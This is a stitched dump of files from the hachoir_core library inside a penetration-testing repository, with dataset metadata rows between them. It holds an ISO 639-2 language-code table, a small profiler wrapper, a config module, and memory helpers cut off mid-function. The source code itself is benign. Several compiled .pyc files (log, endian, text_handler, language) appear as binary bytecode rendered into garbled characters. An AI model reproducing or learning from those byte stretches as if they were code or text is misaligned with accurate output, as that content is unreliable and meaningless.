# -*- coding: utf-8 -*- """ ISO639-2 standart: the module only contains the dictionary ISO639_2 which maps a language code in three letters (eg. "fre") to a language name in english (eg. "French"). """ # ISO-639, the list comes from: # http://www.loc.gov/standards/iso639-2/php/English_list.php _ISO639 = ( (u"Abkhazian", "abk", "ab"), (u"Achinese", "ace", None), (u"Acoli", "ach", None), (u"Adangme", "ada", None), (u"Adygei", "ady", None), (u"Adyghe", "ady", None), (u"Afar", "aar", "aa"), (u"Afrihili", "afh", None), (u"Afrikaans", "afr", "af"), (u"Afro-Asiatic (Other)", "afa", None), (u"Ainu", "ain", None), (u"Akan", "aka", "ak"), (u"Akkadian", "akk", None), (u"Albanian", "alb/sqi", "sq"), (u"Alemani", "gsw", None), (u"Aleut", "ale", None), (u"Algonquian languages", "alg", None), (u"Altaic (Other)", "tut", None), (u"Amharic", "amh", "am"), (u"Angika", "anp", None), (u"Apache languages", "apa", None), (u"Arabic", "ara", "ar"), (u"Aragonese", "arg", "an"), (u"Aramaic", "arc", None), (u"Arapaho", "arp", None), (u"Araucanian", "arn", None), (u"Arawak", "arw", None), (u"Armenian", "arm/hye", "hy"), (u"Aromanian", "rup", None), (u"Artificial (Other)", "art", None), (u"Arumanian", "rup", None), (u"Assamese", "asm", "as"), (u"Asturian", "ast", None), (u"Athapascan languages", "ath", None), (u"Australian languages", "aus", None), (u"Austronesian (Other)", "map", None), (u"Avaric", "ava", "av"), (u"Avestan", "ave", "ae"), (u"Awadhi", "awa", None), (u"Aymara", "aym", "ay"), (u"Azerbaijani", "aze", "az"), (u"Bable", "ast", None), (u"Balinese", "ban", None), (u"Baltic (Other)", "bat", None), (u"Baluchi", "bal", None), (u"Bambara", "bam", "bm"), (u"Bamileke languages", "bai", None), (u"Banda", "bad", None), (u"Bantu (Other)", "bnt", None), (u"Basa", "bas", None), (u"Bashkir", "bak", "ba"), (u"Basque", "baq/eus", "eu"), (u"Batak (Indonesia)", "btk", None), (u"Beja", "bej", None), (u"Belarusian", "bel", "be"), (u"Bemba", "bem", None), (u"Bengali", "ben", "bn"), (u"Berber (Other)", "ber", None), (u"Bhojpuri", "bho", None), (u"Bihari", "bih", "bh"), (u"Bikol", "bik", None), (u"Bilin", "byn", None), (u"Bini", "bin", None), (u"Bislama", "bis", "bi"), (u"Blin", "byn", None), (u"Bokmål, Norwegian", "nob", "nb"), (u"Bosnian", "bos", "bs"), (u"Braj", "bra", None), (u"Breton", "bre", "br"), (u"Buginese", "bug", None), (u"Bulgarian", "bul", "bg"), (u"Buriat", "bua", None), (u"Burmese", "bur/mya", "my"), (u"Caddo", "cad", None), (u"Carib", "car", None), (u"Castilian", "spa", "es"), (u"Catalan", "cat", "ca"), (u"Caucasian (Other)", "cau", None), (u"Cebuano", "ceb", None), (u"Celtic (Other)", "cel", None), (u"Central American Indian (Other)", "cai", None), (u"Chagatai", "chg", None), (u"Chamic languages", "cmc", None), (u"Chamorro", "cha", "ch"), (u"Chechen", "che", "ce"), (u"Cherokee", "chr", None), (u"Chewa", "nya", "ny"), (u"Cheyenne", "chy", None), (u"Chibcha", "chb", None), (u"Chichewa", "nya", "ny"), (u"Chinese", "chi/zho", "zh"), (u"Chinook jargon", "chn", None), (u"Chipewyan", "chp", None), (u"Choctaw", "cho", None), (u"Chuang", "zha", "za"), (u"Church Slavic", "chu", "cu"), (u"Church Slavonic", "chu", "cu"), (u"Chuukese", "chk", None), (u"Chuvash", "chv", "cv"), (u"Classical Nepal Bhasa", "nwc", None), (u"Classical Newari", "nwc", None), (u"Coptic", "cop", None), (u"Cornish", "cor", "kw"), (u"Corsican", "cos", "co"), (u"Cree", "cre", "cr"), (u"Creek", "mus", None), (u"Creoles and pidgins (Other)", "crp", None), (u"Creoles and pidgins, English based (Other)", "cpe", None), (u"Creoles and pidgins, French-based (Other)", "cpf", None), (u"Creoles and pidgins, Portuguese-based (Other)", "cpp", None), (u"Crimean Tatar", "crh", None), (u"Crimean Turkish", "crh", None), (u"Croatian", "scr/hrv", "hr"), (u"Cushitic (Other)", "cus", None), (u"Czech", "cze/ces", "cs"), (u"Dakota", "dak", None), (u"Danish", "dan", "da"), (u"Dargwa", "dar", None), (u"Dayak", "day", None), (u"Delaware", "del", None), (u"Dhivehi", "div", "dv"), (u"Dimili", "zza", None), (u"Dimli", "zza", None), (u"Dinka", "din", None), (u"Divehi", "div", "dv"), (u"Dogri", "doi", None), (u"Dogrib", "dgr", None), (u"Dravidian (Other)", "dra", None), (u"Duala", "dua", None), (u"Dutch", "dut/nld", "nl"), (u"Dutch, Middle (ca.1050-1350)", "dum", None), (u"Dyula", "dyu", None), (u"Dzongkha", "dzo", "dz"), (u"Eastern Frisian", "frs", None), (u"Efik", "efi", None), (u"Egyptian (Ancient)", "egy", None), (u"Ekajuk", "eka", None), (u"Elamite", "elx", None), (u"English", "eng", "en"), (u"English, Middle (1100-1500)", "enm", None), (u"English, Old (ca.450-1100)", "ang", None), (u"Erzya", "myv", None), (u"Esperanto", "epo", "eo"), (u"Estonian", "est", "et"), (u"Ewe", "ewe", "ee"), (u"Ewondo", "ewo", None), (u"Fang", "fan", None), (u"Fanti", "fat", None), (u"Faroese", "fao", "fo"), (u"Fijian", "fij", "fj"), (u"Filipino", "fil", None), (u"Finnish", "fin", "fi"), (u"Finno-Ugrian (Other)", "fiu", None), (u"Flemish", "dut/nld", "nl"), (u"Fon", "fon", None), (u"French", "fre/fra", "fr"), (u"French, Middle (ca.1400-1600)", "frm", None), (u"French, Old (842-ca.1400)", "fro", None), (u"Friulian", "fur", None), (u"Fulah", "ful", "ff"), (u"Ga", "gaa", None), (u"Gaelic", "gla", "gd"), (u"Galician", "glg", "gl"), (u"Ganda", "lug", "lg"), (u"Gayo", "gay", None), (u"Gbaya", "gba", None), (u"Geez", "gez", None), (u"Georgian", "geo/kat", "ka"), (u"German", "ger/deu", "de"), (u"German, Low", "nds", None), (u"German, Middle High (ca.1050-1500)", "gmh", None), (u"German, Old High (ca.750-1050)", "goh", None), (u"Germanic (Other)", "gem", None), (u"Gikuyu", "kik", "ki"), (u"Gilbertese", "gil", None), (u"Gondi", "gon", None), (u"Gorontalo", "gor", None), (u"Gothic", "got", None), (u"Grebo", "grb", None), (u"Greek, Ancient (to 1453)", "grc", None), (u"Greek, Modern (1453-)", "gre/ell", "el"), (u"Greenlandic", "kal", "kl"), (u"Guarani", "grn", "gn"), (u"Gujarati", "guj", "gu"), (u"Gwich´in", "gwi", None), (u"Haida", "hai", None), (u"Haitian", "hat", "ht"), (u"Haitian Creole", "hat", "ht"), (u"Hausa", "hau", "ha"), (u"Hawaiian", "haw", None), (u"Hebrew", "heb", "he"), (u"Herero", "her", "hz"), (u"Hiligaynon", "hil", None), (u"Himachali", "him", None), (u"Hindi", "hin", "hi"), (u"Hiri Motu", "hmo", "ho"), (u"Hittite", "hit", None), (u"Hmong", "hmn", None), (u"Hungarian", "hun", "hu"), (u"Hupa", "hup", None), (u"Iban", "iba", None), (u"Icelandic", "ice/isl", "is"), (u"Ido", "ido", "io"), (u"Igbo", "ibo", "ig"), (u"Ijo", "ijo", None), (u"Iloko", "ilo", None), (u"Inari Sami", "smn", None), (u"Indic (Other)", "inc", None), (u"Indo-European (Other)", "ine", None), (u"Indonesian", "ind", "id"), (u"Ingush", "inh", None), (u"Interlingua", "ina", "ia"), (u"Interlingue", "ile", "ie"), (u"Inuktitut", "iku", "iu"), (u"Inupiaq", "ipk", "ik"), (u"Iranian (Other)", "ira", None), (u"Irish", "gle", "ga"), (u"Irish, Middle (900-1200)", "mga", None), (u"Irish, Old (to 900)", "sga", None), (u"Iroquoian languages", "iro", None), (u"Italian", "ita", "it"), (u"Japanese", "jpn", "ja"), (u"Javanese", "jav", "jv"), (u"Judeo-Arabic", "jrb", None), (u"Judeo-Persian", "jpr", None), (u"Kabardian", "kbd", None), (u"Kabyle", "kab", None), (u"Kachin", "kac", None), (u"Kalaallisut", "kal", "kl"), (u"Kalmyk", "xal", None), (u"Kamba", "kam", None), (u"Kannada", "kan", "kn"), (u"Kanuri", "kau", "kr"), (u"Kara-Kalpak", "kaa", None), (u"Karachay-Balkar", "krc", None), (u"Karelian", "krl", None), (u"Karen", "kar", None), (u"Kashmiri", "kas", "ks"), (u"Kashubian", "csb", None), (u"Kawi", "kaw", None), (u"Kazakh", "kaz", "kk"), (u"Khasi", "kha", None), (u"Khmer", "khm", "km"), (u"Khoisan (Other)", "khi", None), (u"Khotanese", "kho", None), (u"Kikuyu", "kik", "ki"), (u"Kimbundu", "kmb", None), (u"Kinyarwanda", "kin", "rw"), (u"Kirdki", "zza", None), (u"Kirghiz", "kir", "ky"), (u"Kirmanjki", "zza", None), (u"Klingon", "tlh", None), (u"Komi", "kom", "kv"), (u"Kongo", "kon", "kg"), (u"Konkani", "kok", None), (u"Korean", "kor", "ko"), (u"Kosraean", "kos", None), (u"Kpelle", "kpe", None), (u"Kru", "kro", None), (u"Kuanyama", "kua", "kj"), (u"Kumyk", "kum", None), (u"Kurdish", "kur", "ku"), (u"Kurukh", "kru", None), (u"Kutenai", "kut", None), (u"Kwanyama", "kua", "kj"), (u"Ladino", "lad", None), (u"Lahnda", "lah", None), (u"Lamba", "lam", None), (u"Lao", "lao", "lo"), (u"Latin", "lat", "la"), (u"Latvian", "lav", "lv"), (u"Letzeburgesch", "ltz", "lb"), (u"Lezghian", "lez", None), (u"Limburgan", "lim", "li"), (u"Limburger", "lim", "li"), (u"Limburgish", "lim", "li"), (u"Lingala", "lin", "ln"), (u"Lithuanian", "lit", "lt"), (u"Lojban", "jbo", None), (u"Low German", "nds", None), (u"Low Saxon", "nds", None), (u"Lower Sorbian", "dsb", None), (u"Lozi", "loz", None), (u"Luba-Katanga", "lub", "lu"), (u"Luba-Lulua", "lua", None), (u"Luiseno", "lui", None), (u"Lule Sami", "smj", None), (u"Lunda", "lun", None), (u"Luo (Kenya and Tanzania)", "luo", None), (u"Lushai", "lus", None), (u"Luxembourgish", "ltz", "lb"), (u"Macedo-Romanian", "rup", None), (u"Macedonian", "mac/mkd", "mk"), (u"Madurese", "mad", None), (u"Magahi", "mag", None), (u"Maithili", "mai", None), (u"Makasar", "mak", None), (u"Malagasy", "mlg", "mg"), (u"Malay", "may/msa", "ms"), (u"Malayalam", "mal", "ml"), (u"Maldivian", "div", "dv"), (u"Maltese", "mlt", "mt"), (u"Manchu", "mnc", None), (u"Mandar", "mdr", None), (u"Mandingo", "man", None), (u"Manipuri", "mni", None), (u"Manobo languages", "mno", None), (u"Manx", "glv", "gv"), (u"Maori", "mao/mri", "mi"), (u"Marathi", "mar", "mr"), (u"Mari", "chm", None), (u"Marshallese", "mah", "mh"), (u"Marwari", "mwr", None), (u"Masai", "mas", None), (u"Mayan languages", "myn", None), (u"Mende", "men", None), (u"Mi'kmaq", "mic", None), (u"Micmac", "mic", None), (u"Minangkabau", "min", None), (u"Mirandese", "mwl", None), (u"Miscellaneous languages", "mis", None), (u"Mohawk", "moh", None), (u"Moksha", "mdf", None), (u"Moldavian", "mol", "mo"), (u"Mon-Khmer (Other)", "mkh", None), (u"Mongo", "lol", None), (u"Mongolian", "mon", "mn"), (u"Mossi", "mos", None), (u"Multiple languages", "mul", None), (u"Munda languages", "mun", None), (u"N'Ko", "nqo", None), (u"Nahuatl", "nah", None), (u"Nauru", "nau", "na"), (u"Navaho", "nav", "nv"), (u"Navajo", "nav", "nv"), (u"Ndebele, North", "nde", "nd"), (u"Ndebele, South", "nbl", "nr"), (u"Ndonga", "ndo", "ng"), (u"Neapolitan", "nap", None), (u"Nepal Bhasa", "new", None), (u"Nepali", "nep", "ne"), (u"Newari", "new", None), (u"Nias", "nia", None), (u"Niger-Kordofanian (Other)", "nic", None), (u"Nilo-Saharan (Other)", "ssa", None), (u"Niuean", "niu", None), (u"No linguistic content", "zxx", None), (u"Nogai", "nog", None), (u"Norse, Old", "non", None), (u"North American Indian", "nai", None), (u"North Ndebele", "nde", "nd"), (u"Northern Frisian", "frr", None), (u"Northern Sami", "sme", "se"), (u"Northern Sotho", "nso", None), (u"Norwegian", "nor", "no"), (u"Norwegian Bokmål", "nob", "nb"), (u"Norwegian Nynorsk", "nno", "nn"), (u"Nubian languages", "nub", None), (u"Nyamwezi", "nym", None), (u"Nyanja", "nya", "ny"), (u"Nyankole", "nyn", None), (u"Nynorsk, Norwegian", "nno", "nn"), (u"Nyoro", "nyo", None), (u"Nzima", "nzi", None), (u"Occitan (post 1500)", "oci", "oc"), (u"Oirat", "xal", None), (u"Ojibwa", "oji", "oj"), (u"Old Bulgarian", "chu", "cu"), (u"Old Church Slavonic", "chu", "cu"), (u"Old Newari", "nwc", None), (u"Old Slavonic", "chu", "cu"), (u"Oriya", "ori", "or"), (u"Oromo", "orm", "om"), (u"Osage", "osa", None), (u"Ossetian", "oss", "os"), (u"Ossetic", "oss", "os"), (u"Otomian languages", "oto", None), (u"Pahlavi", "pal", None), (u"Palauan", "pau", None), (u"Pali", "pli", "pi"), (u"Pampanga", "pam", None), (u"Pangasinan", "pag", None), (u"Panjabi", "pan", "pa"), (u"Papiamento", "pap", None), (u"Papuan (Other)", "paa", None), (u"Pedi", "nso", None), (u"Persian", "per/fas", "fa"), (u"Persian, Old (ca.600-400 B.C.)", "peo", None), (u"Philippine (Other)", "phi", None), (u"Phoenician", "phn", None), (u"Pilipino", "fil", None), (u"Pohnpeian", "pon", None), (u"Polish", "pol", "pl"), (u"Portuguese", "por", "pt"), (u"Prakrit languages", "pra", None), (u"Provençal", "oci", "oc"), (u"Provençal, Old (to 1500)", "pro", None), (u"Punjabi", "pan", "pa"), (u"Pushto", "pus", "ps"), (u"Quechua", "que", "qu"), (u"Raeto-Romance", "roh", "rm"), (u"Rajasthani", "raj", None), (u"Rapanui", "rap", None), (u"Rarotongan", "rar", None), (u"Reserved for local use", "qaa/qtz", None), (u"Romance (Other)", "roa", None), (u"Romanian", "rum/ron", "ro"), (u"Romany", "rom", None), (u"Rundi", "run", "rn"), (u"Russian", "rus", "ru"), (u"Salishan languages", "sal", None), (u"Samaritan Aramaic", "sam", None), (u"Sami languages (Other)", "smi", None), (u"Samoan", "smo", "sm"), (u"Sandawe", "sad", None), (u"Sango", "sag", "sg"), (u"Sanskrit", "san", "sa"), (u"Santali", "sat", None), (u"Sardinian", "srd", "sc"), (u"Sasak", "sas", None), (u"Saxon, Low", "nds", None), (u"Scots", "sco", None), (u"Scottish Gaelic", "gla", "gd"), (u"Selkup", "sel", None), (u"Semitic (Other)", "sem", None), (u"Sepedi", "nso", None), (u"Serbian", "scc/srp", "sr"), (u"Serer", "srr", None), (u"Shan", "shn", None), (u"Shona", "sna", "sn"), (u"Sichuan Yi", "iii", "ii"), (u"Sicilian", "scn", None), (u"Sidamo", "sid", None), (u"Sign Languages", "sgn", None), (u"Siksika", "bla", None), (u"Sindhi", "snd", "sd"), (u"Sinhala", "sin", "si"), (u"Sinhalese", "sin", "si"), (u"Sino-Tibetan (Other)", "sit", None), (u"Siouan languages", "sio", None), (u"Skolt Sami", "sms", None), (u"Slave (Athapascan)", "den", None), (u"Slavic (Other)", "sla", None), (u"Slovak", "slo/slk", "sk"), (u"Slovenian", "slv", "sl"), (u"Sogdian", "sog", None), (u"Somali", "som", "so"), (u"Songhai", "son", None), (u"Soninke", "snk", None), (u"Sorbian languages", "wen", None), (u"Sotho, Northern", "nso", None), (u"Sotho, Southern", "sot", "st"), (u"South American Indian (Other)", "sai", None), (u"South Ndebele", "nbl", "nr"), (u"Southern Altai", "alt", None), (u"Southern Sami", "sma", None), (u"Spanish", "spa", "es"), (u"Sranan Togo", "srn", None), (u"Sukuma", "suk", None), (u"Sumerian", "sux", None), (u"Sundanese", "sun", "su"), (u"Susu", "sus", None), (u"Swahili", "swa", "sw"), (u"Swati", "ssw", "ss"), (u"Swedish", "swe", "sv"), (u"Swiss German", "gsw", None), (u"Syriac", "syr", None), (u"Tagalog", "tgl", "tl"), (u"Tahitian", "tah", "ty"), (u"Tai (Other)", "tai", None), (u"Tajik", "tgk", "tg"), (u"Tamashek", "tmh", None), (u"Tamil", "tam", "ta"), (u"Tatar", "tat", "tt"), (u"Telugu", "tel", "te"), (u"Tereno", "ter", None), (u"Tetum", "tet", None), (u"Thai", "tha", "th"), (u"Tibetan", "tib/bod", "bo"), (u"Tigre", "tig", None), (u"Tigrinya", "tir", "ti"), (u"Timne", "tem", None), (u"Tiv", "tiv", None), (u"tlhIngan-Hol", "tlh", None), (u"Tlingit", "tli", None), (u"Tok Pisin", "tpi", None), (u"Tokelau", "tkl", None), (u"Tonga (Nyasa)", "tog", None), (u"Tonga (Tonga Islands)", "ton", "to"), (u"Tsimshian", "tsi", None), (u"Tsonga", "tso", "ts"), (u"Tswana", "tsn", "tn"), (u"Tumbuka", "tum", None), (u"Tupi languages", "tup", None), (u"Turkish", "tur", "tr"), (u"Turkish, Ottoman (1500-1928)", "ota", None), (u"Turkmen", "tuk", "tk"), (u"Tuvalu", "tvl", None), (u"Tuvinian", "tyv", None), (u"Twi", "twi", "tw"), (u"Udmurt", "udm", None), (u"Ugaritic", "uga", None), (u"Uighur", "uig", "ug"), (u"Ukrainian", "ukr", "uk"), (u"Umbundu", "umb", None), (u"Undetermined", "und", None), (u"Upper Sorbian", "hsb", None), (u"Urdu", "urd", "ur"), (u"Uyghur", "uig", "ug"), (u"Uzbek", "uzb", "uz"), (u"Vai", "vai", None), (u"Valencian", "cat", "ca"), (u"Venda", "ven", "ve"), (u"Vietnamese", "vie", "vi"), (u"Volapük", "vol", "vo"), (u"Votic", "vot", None), (u"Wakashan languages", "wak", None), (u"Walamo", "wal", None), (u"Walloon", "wln", "wa"), (u"Waray", "war", None), (u"Washo", "was", None), (u"Welsh", "wel/cym", "cy"), (u"Western Frisian", "fry", "fy"), (u"Wolof", "wol", "wo"), (u"Xhosa", "xho", "xh"), (u"Yakut", "sah", None), (u"Yao", "yao", None), (u"Yapese", "yap", None), (u"Yiddish", "yid", "yi"), (u"Yoruba", "yor", "yo"), (u"Yupik languages", "ypk", None), (u"Zande", "znd", None), (u"Zapotec", "zap", None), (u"Zaza", "zza", None), (u"Zazaki", "zza", None), (u"Zenaga", "zen", None), (u"Zhuang", "zha", "za"), (u"Zulu", "zul", "zu"), (u"Zuni", "zun", None), ) # Bibliographic ISO-639-2 form (eg. "fre" => "French") ISO639_2 = {} for line in _ISO639: for key in line[1].split("/"): ISO639_2[key] = line[0] del _ISO639
18,544
Python
.py
555
28.49009
69
0.497219
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,456
profiler.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/profiler.py
from hotshot import Profile from hotshot.stats import load as loadStats from os import unlink def runProfiler(func, args=tuple(), kw={}, verbose=True, nb_func=25, sort_by=('cumulative', 'calls')): profile_filename = "/tmp/profiler" prof = Profile(profile_filename) try: if verbose: print "[+] Run profiler" result = prof.runcall(func, *args, **kw) prof.close() if verbose: print "[+] Stop profiler" print "[+] Process data..." stat = loadStats(profile_filename) if verbose: print "[+] Strip..." stat.strip_dirs() if verbose: print "[+] Sort data..." stat.sort_stats(*sort_by) if verbose: print print "[+] Display statistics" print stat.print_stats(nb_func) return result finally: unlink(profile_filename)
923
Python
.py
29
23.310345
102
0.569507
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,457
config.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/config.py
""" Configuration of Hachoir """ import os # UI: display options max_string_length = 40 # Max. length in characters of GenericString.display max_byte_length = 14 # Max. length in bytes of RawBytes.display max_bit_length = 256 # Max. length in bits of RawBits.display unicode_stdout = True # Replace stdout and stderr with Unicode compatible objects # Disable it for readline or ipython # Global options debug = False # Display many informations usefull to debug verbose = False # Display more informations quiet = True # Don't display warnings # Use internationalization and localization (gettext)? if os.name == "nt": # TODO: Remove this hack and make i18n works on Windows :-) use_i18n = False else: use_i18n = True # Parser global options autofix = True # Enable Autofix? see hachoir_core.field.GenericFieldSet check_padding_pattern = True # Check padding fields pattern?
983
Python
.py
23
39.826087
85
0.701258
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,458
log.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/log.pyc
—Ú Œ »Mc@syddkZddkZddkZddkiZddklZdddÑÉYZeÉZde fdÑÉYZ dS(iˇˇˇˇN(t_tLogcBsÉeZdZdZdZhde6de6de6ZdÑZdÑZedÑZ d ÑZ dd ÑZ d ÑZ d ÑZd ÑZRS(iiis[warn]s[err!]s[info]cCs1h|_d|_t|_t|_d|_dS(N(t _Log__buffertNonet _Log__filetFalset use_printt use_bufferton_new_message(tself((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pyt__init__s     cCs%|io|itdÉÉndS(Ns Stop Hachoir(Rt_writeIntoFileR(R ((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pytshutdowns cCsÍtii|É}tii|É}ti|tiÉ}y^ddk}|o|i|ddÉ|_n|i|ddÉ|_|i t dÉÉWnLt j o@}|i djo$d|_|it dÉ|ÉqÊÇnXdS( s∆ Use a file to store all messages. The UTF-8 encoding will be used. Write an informative message if the file can't be created. @param filename: C{L{string}} iˇˇˇˇNtasutf-8twsStarting Hachoiris)[Log] setFilename(%s) fails: no such file(tostpatht expandusertrealpathtaccesstF_OKtcodecstopenRR RtIOErrorterrnoRtinfo(R tfilenametappendRterr((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pyt setFilenames   cCs:tidÉ}|iid||fÉ|iiÉdS(Ns%Y-%m-%d %H:%M:%Su%s - %s (ttimetstrftimeRtwritetflush(R tmessaget timestamp((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pyR 8sc Cs±||ijo tip||ijoti odStio9ddkl}|dÉ}|o|d|7}q}n|}t |dÉo1|i É}|dj od||f}qƒn|i o?|i i |Ép|g|i |<q |i |i|Én|ii|dÉ}|io8tiiÉtiid||fÉtiiÉn|io|id ||fÉn|io|i||||ÉndS( sM Write a new message : append it in the buffer, display it to the screen (if needed), and write it in the log file (if needed). @param level: Message level. @type level: C{int} @param text: Message content. @type text: C{str} @param ctxt: The caller instance. Niˇˇˇˇ(t getBacktraces t_loggers[%s] %ss[info]s%s %s s%s %s(t LOG_ERRORtconfigtquiettLOG_INFOtverbosetdebugthachoir_core.errorR$RthasattrR%RRthas_keyRt level_nametgetRtsyststdoutR!tstderrR RR R( R tlevelttexttctxtR$t backtracet_textt_ctxttprefix((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pyt newMessage=s4          cCs|iti|ÉdS(sE New informative message. @type text: C{str} N(R;RR)(R R5((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pyRqscCs|iti|ÉdS(sA New warning message. @type text: C{str} N(R;RtLOG_WARN(R R5((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pytwarningxscCs|iti|ÉdS(s? New error message. @type text: C{str} N(R;RR&(R R5((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pyterrorsN(t__name__t __module__R)R<R&R/R R tTrueRR RR;RR=R>(((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pyRs      4  tLoggercBs,eZdÑZdÑZdÑZdÑZRS(cCsd|iiS(Ns<%s>(t __class__R?(R ((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pyR%âscCstiti||ÉdS(N(tlogR;RR)(R R5((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pyRãscCstiti||ÉdS(N(RDR;RR<(R R5((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pyR=çscCstiti||ÉdS(N(RDR;RR&(R R5((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pyR>ès(R?R@R%RR=R>(((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pyRBàs   (( RR1Rthachoir_core.configR'thachoir_core.i18nRRRDtobjectRB(((s:/pentest/enumeration/google/metagoofil/hachoir_core/log.pyt<module>s $Å 
5,599
Python
.py
54
99.222222
1,161
0.424319
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,459
endian.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/endian.pyc
Ñò Î ÈMc@sLdZddklZdZdZeZhedƒe6edƒe6ZdS(s Constant values about endian. iÿÿÿÿ(t_tABCDtDCBAs Big endians Little endianN(t__doc__thachoir_core.i18nRt BIG_ENDIANt LITTLE_ENDIANtNETWORK_ENDIANt endian_name(((s=/pentest/enumeration/google/metagoofil/hachoir_core/endian.pyt<module>s 
444
Python
.py
6
73
183
0.528474
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,460
text_handler.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/text_handler.pyc
Ñò Î ÈMc@s¡dZddklZlZlZlZlZddkl Z l Z ddk l Z ddk lZd„Zd„Zedƒd „ƒZd „Zd „Zd S( sJ Utilities used to convert a field to human classic reprentation of data. iÿÿÿÿ(t humanDurationt humanFilesizet alignValuet durationWin64t deprecated(t FunctionTypet MethodType(t_(tFieldcsPtˆttfƒpt‚tˆitƒpt‚‡‡fd†ˆ_ˆS(Ncs ˆˆƒS((((tfieldthandler(sC/pentest/enumeration/google/metagoofil/hachoir_core/text_handler.pyt<lambda>s(t isinstanceRRtAssertionErrort issubclasst __class__Rt createDisplay(R R ((R R sC/pentest/enumeration/google/metagoofil/hachoir_core/text_handler.pyt textHandler scsPtˆttfƒpt‚tˆitƒpt‚‡‡fd†ˆ_ˆS(Ncs ˆˆiƒS((tvalue((R R (sC/pentest/enumeration/google/metagoofil/hachoir_core/text_handler.pyR s(R RRR RRRR(R R ((R R sC/pentest/enumeration/google/metagoofil/hachoir_core/text_handler.pytdisplayHandlerssUse TimedeltaWin64 field typecCsWt|dƒot|dƒpt‚|idjpt‚t|iƒ}t|ƒS(sW Convert Windows 64-bit duration to string. The timestamp format is a 64-bit number: number of 100ns. See also timestampWin64(). >>> durationWin64(type("", (), dict(value=2146280000, size=64))) u'3 min 34 sec 628 ms' >>> durationWin64(type("", (), dict(value=(1 << 64)-1, size=64))) u'58494 years 88 days 5 hours' Rtsizei@(thasattrR RtdoDurationWin64RR(R tdelta((sC/pentest/enumeration/google/metagoofil/hachoir_core/text_handler.pyRs 'cCs t|tƒS(s2 Format field value using humanFilesize() (RR(R ((sC/pentest/enumeration/google/metagoofil/hachoir_core/text_handler.pytfilesizeHandler)scCsXt|dƒot|dƒpt‚|i}t|dƒd}d|}||iS(sé Convert an integer to hexadecimal in lower case. Returns unicode string. >>> hexadecimal(type("", (), dict(value=412, size=16))) u'0x019c' >>> hexadecimal(type("", (), dict(value=0, size=32))) u'0x00000000' RRiu0x%%0%ux(RR RRR(R Rtpaddingtpattern((sC/pentest/enumeration/google/metagoofil/hachoir_core/text_handler.pyt hexadecimal/s '  N(t__doc__thachoir_core.toolsRRRRRRttypesRRthachoir_core.i18nRthachoir_core.fieldRRRRR(((sC/pentest/enumeration/google/metagoofil/hachoir_core/text_handler.pyt<module>s(   
3,205
Python
.py
35
88.8
294
0.493847
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,461
language.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/language.pyc
Ñò Î ÈMc@s'ddklZddd„ƒYZdS(iÿÿÿÿ(tISO639_2tLanguagecBs5eZd„Zd„Zd„Zd„Zd„ZRS(cCs:t|ƒ}|tjotd|ƒ‚n||_dS(NsInvalid language code: %r(tstrRt ValueErrortcode(tselfR((s?/pentest/enumeration/google/metagoofil/hachoir_core/language.pyt__init__s  cCs(|itjodSt|i|iƒS(Ni(t __class__RtcmpR(Rtother((s?/pentest/enumeration/google/metagoofil/hachoir_core/language.pyt__cmp__ scCs t|iS(N(RR(R((s?/pentest/enumeration/google/metagoofil/hachoir_core/language.pyt __unicode__scCs |iƒS(N(R (R((s?/pentest/enumeration/google/metagoofil/hachoir_core/language.pyt__str__scCsdt|ƒ|ifS(Ns<Language '%s', code=%r>(tunicodeR(R((s?/pentest/enumeration/google/metagoofil/hachoir_core/language.pyt__repr__s(t__name__t __module__RR R R R(((s?/pentest/enumeration/google/metagoofil/hachoir_core/language.pyRs     N((thachoir_core.iso639RR(((s?/pentest/enumeration/google/metagoofil/hachoir_core/language.pyt<module>s
1,569
Python
.py
8
195.125
373
0.43726
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,462
memory.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/memory.py
import gc #---- Default implementation when resource is missing ---------------------- PAGE_SIZE = 4096 def getMemoryLimit(): """ Get current memory limit in bytes. Return None on error. """ return None def setMemoryLimit(max_mem): """ Set memory limit in bytes. Use value 'None' to disable memory limit. Return True if limit is set, False on error. """ return False def getMemorySize(): """ Read currenet process memory size: size of available virtual memory. This value is NOT the real memory usage. This function only works on Linux (use /proc/self/statm file). """ try: statm = open('/proc/self/statm').readline().split() except IOError: return None return int(statm[0]) * PAGE_SIZE def clearCaches(): """ Try to clear all caches: call gc.collect() (Python garbage collector). """ gc.collect() #import re; re.purge() try: #---- 'resource' implementation --------------------------------------------- from resource import (getpagesize, getrlimit, setrlimit, RUSAGE_SELF, RLIMIT_AS) PAGE_SIZE = getpagesize() def getMemoryLimit(): try: limit = 